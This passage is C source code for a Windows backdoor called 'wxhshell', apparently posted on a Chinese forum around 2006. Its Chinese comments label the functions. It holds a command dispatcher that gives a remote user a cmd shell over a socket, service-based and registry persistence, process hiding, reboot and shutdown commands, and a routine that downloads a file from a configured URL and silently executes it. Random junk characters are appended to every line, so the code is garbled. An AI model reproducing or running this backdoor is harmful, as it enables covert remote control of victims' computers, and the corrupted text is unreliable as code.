m(iR|Zx  
    switch(cmd[0]) { FXdD4X)  
  o\otgyoh  
  // 帮助 2L_6x<u'  
  case '?': { <Peebv&v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gd/H``x|Y  
    break; #%@*p,xh  
  } gwd (N  
  // 安装 nP~({ :l8X  
  case 'i': { `IpA.| Y  
    if(Install()) 5v\!]?(O;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ma$Prd  
    else !}+tdT(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^vs=f 95  
    break; |H}m4-+*  
    } ixm&aW6<  
  // 卸载 iTh:N2/-vc  
  case 'r': { PYRd] %X  
    if(Uninstall()) ^I6^g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zjL.Bhiud  
    else ^ &/G|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SHb(O<6  
    break; I:V0Xxz5t  
    } ]&~]#vB#  
  // 显示 wxhshell 所在路径 {4aWR><  
  case 'p': {  }}<Z,/O  
    char svExeFile[MAX_PATH]; x_!0.SU  
    strcpy(svExeFile,"\n\r"); Il@Y|hK  
      strcat(svExeFile,ExeFile); z\ss4  
        send(wsh,svExeFile,strlen(svExeFile),0); +y2[msBs  
    break; }{9&:!uA  
    } ^04Q%,  
  // 重启 tc r//  
  case 'b': { 5Ky#GuC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2O"P2(1}v  
    if(Boot(REBOOT)) l%z<(L5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CRve.e8J  
    else { 4n1; Bh$  
    closesocket(wsh); %ows BO+  
    ExitThread(0); yV3^Qtb!  
    } ZD#9&q'4<  
    break; \AUI|M;'  
    }  =$8nUX`  
  // 关机 0Z<I%<8bK  
  case 'd': { wv QMnE8\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y %$O-q  
    if(Boot(SHUTDOWN)) Cd79 tu|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Yfv!\^|  
    else { :4)Qt  
    closesocket(wsh); [OTJVpC  
    ExitThread(0); b*fgv9Kh'  
    } [+ *$\  
    break; R`";Z$~{  
    } )Dp/('Z2  
  // 获取shell LLWB  
  case 's': { R .[Z]-X  
    CmdShell(wsh); _{vkX<s  
    closesocket(wsh); `dMqe\o%!  
    ExitThread(0); F["wD O  
    break; ;g_> ;tR/  
  } G!8Z~CPF  
  // 退出 v1k)hFjPK  
  case 'x': { ]{ BE r*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0,s$T2  
    CloseIt(wsh); bb42v7?  
    break; 7J28JK  
    } n 26Y]7N  
  // 离开 Kz<@x`0   
  case 'q': { "!>DX1rsi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]u-]'P  
    closesocket(wsh); X.K<4N0A9J  
    WSACleanup(); ``,k5!a66\  
    exit(1); 3lLMu B+  
    break; E+"dqSI/v  
        } G iq=*D+  
  } H_!4>G@  
  } O?8Ni=]  
Nfe>3uQK  
  // 提示信息 3QSZ ZJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xt'tL:d  
} .,~(%#Wl$  
  } A`}yBSb  
3Y)PU=  
  return; S0g'r !;6  
} @ DZD  
O9'x -A%  
// shell模块句柄 +5.t. d  
int CmdShell(SOCKET sock) ri C[lB  
{ N4;7gSc"  
STARTUPINFO si; ! / y!QXj  
ZeroMemory(&si,sizeof(si)); Sp}D ;7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cH<q:OYi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ov-b:l H  
PROCESS_INFORMATION ProcessInfo; q(5j(G ;  
char cmdline[]="cmd"; b,P]9$Ut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ rNXQ` /  
  return 0; '`Bm'Dd  
} :[@ k<8<]  
,U*)2`[  
// 自身启动模式 s{ V*1$e~  
int StartFromService(void) r4x3$M c  
{ \^1+U JU  
typedef struct L.xZ_ 6  
{ xX0-]Y h:  
  DWORD ExitStatus; Cp^@zw*/  
  DWORD PebBaseAddress; d"G+8}.4  
  DWORD AffinityMask; <J(sR  
  DWORD BasePriority; h0?2j)X_  
  ULONG UniqueProcessId; jNwjK0?  
  ULONG InheritedFromUniqueProcessId; /$n ~lf  
}   PROCESS_BASIC_INFORMATION; e98lhu"|H  
V&soN:HS  
PROCNTQSIP NtQueryInformationProcess; .%'(9E  
_qvK*nE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VhT= l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; in<Rq"L  
" +KJop  
  HANDLE             hProcess; $(s\{(Wn  
  PROCESS_BASIC_INFORMATION pbi; J" j.'.  
c8)/:xxl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5`~mmAUk;`  
  if(NULL == hInst ) return 0; 8$|8`;I(  
" "O"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Fd HV;K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rQ4*k'lA:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4fh^[\  
0s#vwK13  
  if (!NtQueryInformationProcess) return 0; E'1+Yq  
{)- .xG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [w -{r+[  
  if(!hProcess) return 0; k&#a\OJ7u  
s57N) 0kP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sGY_{CZ:  
k>}g\a,  
  CloseHandle(hProcess); rA0,`}8\  
N-lGa@ j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6*9}4`  
if(hProcess==NULL) return 0; 0U66y6  
)PkNWj6%y  
HMODULE hMod; Xf =XBoN|  
char procName[255];  g]*  
unsigned long cbNeeded; /Y[~-Y+!,  
PI A)d-Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4vK8kkW1  
GwsY-jf  
  CloseHandle(hProcess); Zn:R PMk*  
y`e4;*1  
if(strstr(procName,"services")) return 1; // 以服务启动 Xqp|VbDca  
JXiZB 8}  
  return 0; // 注册表启动 {P8[X@Lu  
} n<Svw a}  
wI M{pK  
// 主模块 {v aaFs  
int StartWxhshell(LPSTR lpCmdLine) ,~ ?'Ef80  
{ Gx?+9C V  
  SOCKET wsl; DPe]daF  
BOOL val=TRUE; ^x*nq3^h\  
  int port=0; 6 y"-I !&  
  struct sockaddr_in door; ?:^mBb) T  
n?#!VN3  
  if(wscfg.ws_autoins) Install(); W-RqN!snJ8  
8pLBt:  
port=atoi(lpCmdLine); IWVlrGyM  
t<uYM  
if(port<=0) port=wscfg.ws_port; fBBa4"OK=  
8$xPex~2  
  WSADATA data; l>lW]W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]!1OH |Ad  
+ww^ev%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ||2Q~*:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hf!|\f  
  door.sin_family = AF_INET; qv 3^5 d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Y 4:'L6  
  door.sin_port = htons(port); >-T`0wI  
*, Ld/O;s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .=9 s1 ~]  
closesocket(wsl); Y izE5[*  
return 1; >Sk[vI0Y  
} #)+- lPe  
fnzy5+9"  
  if(listen(wsl,2) == INVALID_SOCKET) { s*M@%_A?  
closesocket(wsl); 9D@$i<D:  
return 1; PDx)S7+w[  
} fLN!EDq  
  Wxhshell(wsl); VeiElU3  
  WSACleanup(); &zL#hBE  
Zr$d20M2A;  
return 0; '/0#lF  
W:&R~R  
} k!jNOqbb  
J.*XXM- V  
// 以NT服务方式启动 %/"Oxi^G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gtv,Izt  
{ RR1A65B  
DWORD   status = 0; J}spiVM  
  DWORD   specificError = 0xfffffff; v=Y K8fNi  
Pvo#pY^dXX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h>S[^ -,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7&}P{<}o^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iY[+Ywh  
  serviceStatus.dwWin32ExitCode     = 0; U3;aLQ*  
  serviceStatus.dwServiceSpecificExitCode = 0; 'iSAAwT2aj  
  serviceStatus.dwCheckPoint       = 0; oR+-+-? ?$  
  serviceStatus.dwWaitHint       = 0;  }`/gX=91  
A)n W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @}FAwv^f  
  if (hServiceStatusHandle==0) return; L/}iy}  
xIbMs4'iEx  
status = GetLastError(); k@!r#`j3  
  if (status!=NO_ERROR) 4FeEGySow  
{ x  FJg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F SMj  
    serviceStatus.dwCheckPoint       = 0; KM?1/KZ/~  
    serviceStatus.dwWaitHint       = 0; 9G?ldp8  
    serviceStatus.dwWin32ExitCode     = status; l1_X(Z._V  
    serviceStatus.dwServiceSpecificExitCode = specificError; T~4mQuYi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yT /EHmJ  
    return; 3EFD%9n  
  } m/&i9A  
4\X||5.c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vvu<:16  
  serviceStatus.dwCheckPoint       = 0; 2f,B$-#  
  serviceStatus.dwWaitHint       = 0; -xmf'c9P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4 k}e28  
} -Q e~)7  
$FM' 3%B[  
// 处理NT服务事件,比如:启动、停止 AG"l1wz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7l8[xV  
{ E +_&HG}a  
switch(fdwControl) 3 &&+Y X  
{ bPD)D'Hs  
case SERVICE_CONTROL_STOP: 9 wa,k  
  serviceStatus.dwWin32ExitCode = 0; ]o.vB}WsY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \9c$`nn  
  serviceStatus.dwCheckPoint   = 0; ,+/zH'U}  
  serviceStatus.dwWaitHint     = 0; ;|ub!z9GG  
  { >G)qns9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dT@UK^\  
  } pck>;V  
  return; QezSJ io  
case SERVICE_CONTROL_PAUSE: @9 8;VWY\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H>7dND 2;  
  break; uF(k[[qaiN  
case SERVICE_CONTROL_CONTINUE: O;XG^s@5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w*LbH]l<-  
  break; Evu=M-?  
case SERVICE_CONTROL_INTERROGATE: <zB*'m  
  break; 7Ur?ep  
}; iv%w!3#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\ldz(D?+  
} CDg AGy  
60B-ay0e$b  
// 标准应用程序主函数 nnCug  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6XUuGxQV/  
{ V% axeqs  
4KpL>'Q=  
// 获取操作系统版本 cf8-]G?tK  
OsIsNt=GetOsVer(); h* .w"JO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y%(X+E"n*  
Ub)I66  
  // 从命令行安装 66:ALFwd7  
  if(strpbrk(lpCmdLine,"iI")) Install(); s"#]L44N  
&~~s6   
  // 下载执行文件 m@qqVRn#)  
if(wscfg.ws_downexe) { e1 a*'T$z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Oxz3r%}r  
  WinExec(wscfg.ws_filenam,SW_HIDE); CmC0k-%w  
} >q( 5ir  
[B/0-(?  
if(!OsIsNt) { # mT]j""  
// 如果时win9x,隐藏进程并且设置为注册表启动 jz:gr=* z  
HideProc(); aiftlY  
StartWxhshell(lpCmdLine); WYIw5 jzC  
} F|eu<^"$ H  
else pG yRX_;  
  if(StartFromService()) +$pJ5+v  
  // 以服务方式启动 X-Ycz 5?  
  StartServiceCtrlDispatcher(DispatchTable); =I4.Gf"~f  
else \KM|f9-b  
  // 普通方式启动 F-0UdV  
  StartWxhshell(lpCmdLine); H^(L90  
v[#)GB _5  
return 0; cdp0!W4Gi  
}
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只看该作者 1 发表于: 2006-10-10
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